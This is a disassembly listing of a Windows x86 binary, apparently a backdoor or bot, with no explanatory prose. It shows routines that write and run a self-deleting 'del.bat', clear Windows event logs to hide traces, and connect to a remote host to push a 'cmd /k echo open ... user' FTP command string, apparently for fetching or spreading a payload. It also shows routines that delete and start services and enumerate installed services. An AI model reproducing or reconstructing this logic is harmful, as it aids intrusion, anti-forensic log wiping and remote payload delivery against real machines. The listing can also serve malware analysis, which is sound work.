		cmp	dword_42A08C, esi
		push	edi
		jz	short loc_418A58
		cmp	dword_4CDD30, esi
		jnz	short loc_418A58
		push	esi
		call	sub_401000
		pop	ecx


loc_418A58:				; CODE XREF: sub_418A34+13j
					; sub_418A34+1Bj
		call	sub_40B150
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	dword_4280B0	; GetTempPathA
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	dword_4280EC	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_418BB8
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	dword_4280E0	; WriteFile
		push	edi
		call	dword_42806C	; CloseHandle
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BD60
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BD60
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_43FE14
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	dword_42809C	; GetModuleHandleA
		push	eax
		call	dword_428074	; GetModuleFileNameA
		lea	eax, [ebp+var_15C]
		push	eax
		call	dword_428098	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418B60
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	dword_428094	; SetFileAttributesA


loc_418B60:				; CODE XREF: sub_418A34+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41C056
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	dword_42817C	; ExpandEnvironmentStringsA
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	dword_428070	; CreateProcessA


loc_418BB8:				; CODE XREF: sub_418A34+72j
		pop	edi
		pop	esi
		leave
		retn
sub_418A34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BBC	proc near		; CODE XREF: sub_401B66+70E0p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	dword_4280C8	; GetVersionExA
		cmp	[ebp+var_84], 2
		jnz	short loc_418C52
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CDBE4	; OpenEventLogA
		push	edi
		push	eax
		call	dword_4CDBF4	; ClearEventLogA
		test	eax, eax
		jz	short loc_418C44
		push	[ebp+arg_10]
		push	offset dword_43B658


loc_418C1D:				; CODE XREF: sub_418BBC+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41C056
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 20h
		jmp	short loc_418C7C
; ---------------------------------------------------------------------------


loc_418C44:				; CODE XREF: sub_418BBC+57j
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43B630
		jmp	short loc_418C1D
; ---------------------------------------------------------------------------


loc_418C52:				; CODE XREF: sub_418BBC+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_43B600
		push	eax
		call	sub_41C056
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 1Ch


loc_418C7C:				; CODE XREF: sub_418BBC+86j
		pop	edi
		leave
		retn
sub_418BBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C7F	proc near		; CODE XREF: sub_40D86F+4F9p
					; sub_40DE14+480p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4CDCA4	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	dword_4CDC64	; ntohs
		push	ebx
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_4CDCE4	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_418D4A
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CDC0C	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418D4A
		mov	esi, 400h
		push	ebx
		lea	eax, [ebp+var_5A0]
		push	esi
		push	eax
		push	edi
		call	dword_4CDC7C	; recv
		mov	eax, offset byte_42A10C
		push	eax
		push	eax
		push	dword_4CD998
		push	[ebp+arg_0]
		call	sub_40AB14
		pop	ecx
		push	eax
		push	offset aCmdKEchoOpen_0 ; "cmd /k echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41C150
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	ebx
		push	eax
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	edi
		call	dword_4CDCB4	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_418D4E


loc_418D4A:				; CODE XREF: sub_418C7F+50j
					; sub_418C7F+62j
		xor	al, al
		jmp	short loc_418D67
; ---------------------------------------------------------------------------


loc_418D4E:				; CODE XREF: sub_418C7F+C9j
		push	ebx
		lea	eax, [ebp+var_5A0]
		push	esi
		push	eax
		push	edi
		call	dword_4CDC7C	; recv
		push	edi
		call	dword_4CDCFC	; closesocket
		mov	al, 1


loc_418D67:				; CODE XREF: sub_418C7F+CDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418C7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418D6C	proc near		; CODE XREF: sub_401B66+5547p

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	dword_4280C8	; GetVersionExA
		cmp	[ebp+var_90], 4
		jnz	short loc_418DB1
		cmp	[ebp+var_8C], 0
		jnz	loc_418E3B
		xor	eax, eax
		inc	eax
		cmp	[ebp+var_84], eax
		jz	locret_418E39


loc_418DB1:				; CODE XREF: sub_418D6C+27j
					; sub_418D6C+DFj
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	dword_4280B8	; LoadLibraryA
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		call	dword_4280BC	; GetProcAddress
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41E034
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41E034
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41E034
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41E017
		add	eax, eax
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi	; GetProcessHeap
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		call	dword_42813C	; FreeLibrary
		mov	eax, edi
		pop	edi
		pop	esi

locret_418E39:				; CODE XREF: sub_418D6C+3Fj
		leave
		retn
; ---------------------------------------------------------------------------


loc_418E3B:				; CODE XREF: sub_418D6C+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_418E51
		cmp	[ebp+var_8C], 5Ah
		jnz	loc_418DB1


loc_418E51:				; CODE XREF: sub_418D6C+D6j
		xor	eax, eax
		inc	eax
		leave
		retn
sub_418D6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E56	proc near		; CODE XREF: sub_401132+F7p
					; sub_40123B+Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	dword_4280A8	; GetTickCount
		push	eax
		call	sub_41C0A8
		pop	ecx
		call	sub_41C0B2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_428700
		call	sub_41CF68
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418E56	endp


; =============== S U B	R O U T	I N E =======================================



sub_418E93	proc near		; CODE XREF: sub_401B66:loc_405FF7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418EF8
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_43B680[esi]
		push	edi
		push	eax
		call	sub_418F1A
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418EDB
		push	edi
		push	off_43B67C[esi]
		mov	esi, offset dword_4DDDB0
		push	offset unk_43B790
		push	esi
		call	sub_41C056
		add	esp, 10h
		jmp	short loc_418F15
; ---------------------------------------------------------------------------


loc_418EDB:				; CODE XREF: sub_418E93+2Aj
		push	eax
		call	sub_418FBC
		push	eax
		push	edi
		mov	esi, offset dword_4DDDB0
		push	offset unk_43B764
		push	esi
		call	sub_41C056
		add	esp, 14h
		jmp	short loc_418F15
; ---------------------------------------------------------------------------


loc_418EF8:				; CODE XREF: sub_418E93+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DDDB0
		push	off_43B678[eax*4]
		push	offset unk_43B740
		push	esi
		call	sub_41C056
		add	esp, 0Ch


loc_418F15:				; CODE XREF: sub_418E93+46j
					; sub_418E93+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_418E93	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418F1A	proc near		; CODE XREF: sub_418E93+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CDC58	; OpenSCManagerA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418F41
		call	dword_42808C	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_418FB6
; ---------------------------------------------------------------------------


loc_418F41:				; CODE XREF: sub_418F1A+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CDB40	; OpenServiceA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418F61
		call	dword_42808C	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_418FAE
; ---------------------------------------------------------------------------


loc_418F61:				; CODE XREF: sub_418F1A+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_418F94
		cmp	eax, 3
		jz	short loc_418F85
		jle	short loc_418FA7
		cmp	eax, 6
		jg	short loc_418FA7
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CDBAC	; ControlService
		jmp	short loc_418F9B
; ---------------------------------------------------------------------------


loc_418F85:				; CODE XREF: sub_418F1A+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CDB48	; StartServiceA
		jmp	short loc_418F9B
; ---------------------------------------------------------------------------


loc_418F94:				; CODE XREF: sub_418F1A+4Dj
		push	esi
		call	dword_4CDBB0	; DeleteService


loc_418F9B:				; CODE XREF: sub_418F1A+69j
					; sub_418F1A+78j
		test	eax, eax
		jnz	short loc_418FA7
		call	dword_42808C	; RtlGetLastWin32Error
		mov	ebx, eax


loc_418FA7:				; CODE XREF: sub_418F1A+54j
					; sub_418F1A+59j ...
		push	esi
		call	dword_4CDB5C	; CloseServiceHandle


loc_418FAE:				; CODE XREF: sub_418F1A+45j
		push	edi
		call	dword_4CDB5C	; CloseServiceHandle
		pop	esi


loc_418FB6:				; CODE XREF: sub_418F1A+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_418F1A	endp


; =============== S U B	R O U T	I N E =======================================



sub_418FBC	proc near		; CODE XREF: sub_418E93+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_419071
		jz	loc_41906A
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_419034
		jz	short loc_41902A
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_419020
		dec	ecx
		dec	ecx
		jz	short loc_419016
		dec	ecx
		jz	short loc_41900C
		sub	ecx, 51h
		jz	short loc_419002
		sub	ecx, 24h
		jnz	loc_4190E7	; default
					; jumptable 0041908E cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4190D9
; ---------------------------------------------------------------------------


loc_419002:				; CODE XREF: sub_418FBC+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4190D9
; ---------------------------------------------------------------------------


loc_41900C:				; CODE XREF: sub_418FBC+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4190D9
; ---------------------------------------------------------------------------


loc_419016:				; CODE XREF: sub_418FBC+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4190D9
; ---------------------------------------------------------------------------


loc_419020:				; CODE XREF: sub_418FBC+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4190D9
; ---------------------------------------------------------------------------


loc_41902A:				; CODE XREF: sub_418FBC+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4190D9
; ---------------------------------------------------------------------------


loc_419034:				; CODE XREF: sub_418FBC+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_419063
		dec	ecx
		jz	short loc_41905C
		dec	ecx
		jz	short loc_419055
		dec	ecx
		jnz	loc_4190E7	; default
					; jumptable 0041908E cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4190D9
; ---------------------------------------------------------------------------


loc_419055:				; CODE XREF: sub_418FBC+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4190D9
; ---------------------------------------------------------------------------


loc_41905C:				; CODE XREF: sub_418FBC+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4190D9
; ---------------------------------------------------------------------------


loc_419063:				; CODE XREF: sub_418FBC+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4190D9
; ---------------------------------------------------------------------------


loc_41906A:				; CODE XREF: sub_418FBC+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4190D9
; ---------------------------------------------------------------------------


loc_419071:				; CODE XREF: sub_418FBC+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_4190E7 ; default
					; jumptable 0041908E cases 1,5,6,8,9,12,13,15,16
		jz	short loc_4190D4
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_4190E7 ; default
					; jumptable 0041908E cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_419128[ecx]
		jmp	off_419100[ecx*4] ; switch jump


loc_419095:				; DATA XREF: .packed:off_419100o
		push	offset aTheSpecifiedDa ; jumptable 0041908E case 7
		jmp	short loc_4190D9
; ---------------------------------------------------------------------------


loc_41909C:				; CODE XREF: sub_418FBC+D2j
					; DATA XREF: .packed:off_419100o
		push	offset aTheServiceDepe ; jumptable 0041908E case 17
		jmp	short loc_4190D9
; ---------------------------------------------------------------------------


loc_4190A3:				; CODE XREF: sub_418FBC+D2j
					; DATA XREF: .packed:off_419100o
		push	offset aTheServiceDe_0 ; jumptable 0041908E case 10
		jmp	short loc_4190D9
; ---------------------------------------------------------------------------


loc_4190AA:				; CODE XREF: sub_418FBC+D2j
					; DATA XREF: .packed:off_419100o
		push	offset aTheServiceHasB ; jumptable 0041908E case 0
		jmp	short loc_4190D9
; ---------------------------------------------------------------------------


loc_4190B1:				; CODE XREF: sub_418FBC+D2j
					; DATA XREF: .packed:off_419100o
		push	offset aTheSpecified_0 ; jumptable 0041908E case 2
		jmp	short loc_4190D9
; ---------------------------------------------------------------------------


loc_4190B8:				; CODE XREF: sub_418FBC+D2j
					; DATA XREF: .packed:off_419100o
		push	offset aTheServiceCoul ; jumptable 0041908E case 11
		jmp	short loc_4190D9
; ---------------------------------------------------------------------------


loc_4190BF:				; CODE XREF: sub_418FBC+D2j
					; DATA XREF: .packed:off_419100o
		push	offset aTheServiceHa_0 ; jumptable 0041908E case 14
		jmp	short loc_4190D9
; ---------------------------------------------------------------------------


loc_4190C6:				; CODE XREF: sub_418FBC+D2j
					; DATA XREF: .packed:off_419100o
		push	offset aTheRequested_1 ; jumptable 0041908E case 3
		jmp	short loc_4190D9
; ---------------------------------------------------------------------------


loc_4190CD:				; CODE XREF: sub_418FBC+D2j
					; DATA XREF: .packed:off_419100o
		push	offset aTheServiceHasN ; jumptable 0041908E case 4
		jmp	short loc_4190D9
; ---------------------------------------------------------------------------


loc_4190D4:				; CODE XREF: sub_418FBC+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_4190D9:				; CODE XREF: sub_418FBC+41j
					; sub_418FBC+4Bj ...
		push	offset dword_4DD6E0
		call	sub_41C056
		pop	ecx
		pop	ecx
		jmp	short loc_4190FA
; ---------------------------------------------------------------------------


loc_4190E7:				; CODE XREF: sub_418FBC+36j
					; sub_418FBC+89j ...
		push	eax		; default
					; jumptable 0041908E cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DD6E0
		call	sub_41C056
		add	esp, 0Ch


loc_4190FA:				; CODE XREF: sub_418FBC+129j
		mov	eax, offset dword_4DD6E0
		retn
sub_418FBC	endp

; ---------------------------------------------------------------------------
off_419100	dd offset loc_4190AA	; DATA XREF: sub_418FBC+D2r
		dd offset loc_4190B1	; jump table for switch	statement
		dd offset loc_4190C6
		dd offset loc_4190CD
		dd offset loc_419095
		dd offset loc_4190A3
		dd offset loc_4190B8
		dd offset loc_4190BF
		dd offset loc_41909C
		dd offset loc_4190E7
byte_419128	db	0,     9,     1,     2 ; DATA XREF: sub_418FBC+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41913A	proc near		; CODE XREF: sub_401B66+44BCp

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CDC58	; OpenSCManagerA
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 14h


loc_419172:				; CODE XREF: sub_41913A+123j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CDC24	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_4191AC
		call	dword_42808C	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_419263


loc_4191AC:				; CODE XREF: sub_41913A+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_41925A
		lea	esi, [ebp+var_188]


loc_4191BD:				; CODE XREF: sub_41913A+11Aj
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_419209
		dec	eax
		jz	short loc_419202
		dec	eax
		jz	short loc_4191FB
		dec	eax
		jz	short loc_4191F4
		dec	eax
		jz	short loc_4191ED
		dec	eax
		jz	short loc_4191E6
		dec	eax
		lea	eax, [ebp+var_20]
		jz	short loc_4191DF
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_419211
; ---------------------------------------------------------------------------


loc_4191DF:				; CODE XREF: sub_41913A+9Cj
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_419211
; ---------------------------------------------------------------------------


loc_4191E6:				; CODE XREF: sub_41913A+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_41920E
; ---------------------------------------------------------------------------


loc_4191ED:				; CODE XREF: sub_41913A+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_41920E
; ---------------------------------------------------------------------------


loc_4191F4:				; CODE XREF: sub_41913A+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_41920E
; ---------------------------------------------------------------------------


loc_4191FB:				; CODE XREF: sub_41913A+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_41920E
; ---------------------------------------------------------------------------


loc_419202:				; CODE XREF: sub_41913A+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_41920E
; ---------------------------------------------------------------------------


loc_419209:				; CODE XREF: sub_41913A+87j
		push	offset aStopped	; "    Stopped"


loc_41920E:				; CODE XREF: sub_41913A+B1j
					; sub_41913A+B8j ...
		lea	eax, [ebp+var_20]


loc_419211:				; CODE XREF: sub_41913A+A3j
					; sub_41913A+AAj
		push	eax
		call	sub_41C056
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41C056
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_4191BD


loc_41925A:				; CODE XREF: sub_41913A+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_419172


loc_419263:				; CODE XREF: sub_41913A+6Cj
		push	[ebp+var_C]
		call	dword_4CDB5C	; CloseServiceHandle
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_41913A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41927A	proc near		; CODE XREF: sub_401B66:loc_4060E7p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_419313
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_4192A3
		dec	eax
		jnz	short loc_4192F3
		push	edi
		push	0
		call	sub_41944C
		pop	ecx
		pop	ecx
		jmp	short loc_4192EF
; ---------------------------------------------------------------------------


loc_4192A3:				; CODE XREF: sub_41927A+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_4192E1
		push	24h
		push	edi
		call	sub_41C780
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4192E1
		push	57h
		pop	eax


loc_4192BA:				; CODE XREF: sub_41927A+77j
		push	eax
		call	sub_419C1A
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DD9A8
		push	off_43B678[eax*4]
		push	offset unk_43BD34
		push	esi
		call	sub_41C056
		add	esp, 18h
		jmp	short loc_419333
; ---------------------------------------------------------------------------


loc_4192E1:				; CODE XREF: sub_41927A+2Dj
					; sub_41927A+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_4193A0
		add	esp, 0Ch


loc_4192EF:				; CODE XREF: sub_41927A+27j
		test	eax, eax
		jnz	short loc_4192BA


loc_4192F3:				; CODE XREF: sub_41927A+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DD9A8
		push	off_43B67C[eax*4]
		push	offset dword_43BD18
		push	esi
		call	sub_41C056
		add	esp, 10h
		jmp	short loc_419333
; ---------------------------------------------------------------------------


loc_419313:				; CODE XREF: sub_41927A+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DD9A8
		lea	eax, [eax+eax*2]
		push	off_43B678[eax*4]
		push	offset unk_43BCF4
		push	esi
		call	sub_41C056
		add	esp, 0Ch


loc_419333:				; CODE XREF: sub_41927A+65j
					; sub_41927A+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41927A	endp


; =============== S U B	R O U T	I N E =======================================



sub_419339	proc near		; CODE XREF: sub_41A628+247p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_419346
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_419346:				; CODE XREF: sub_419339+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_428180
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		test	byte_4DDBA8, 1
		mov	ebp, eax
		jnz	short loc_419383
		or	byte_4DDBA8, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41D795
		pop	ecx
		mov	dword_4DD940, eax


loc_419383:				; CODE XREF: sub_419339+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DD940
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		mov	eax, dword_4DD940
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_419339	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4193A0	proc near		; CODE XREF: sub_41927A+6Dp
					; sub_41A94E+18Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_41940B
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_41940B
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41C780
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_41940B
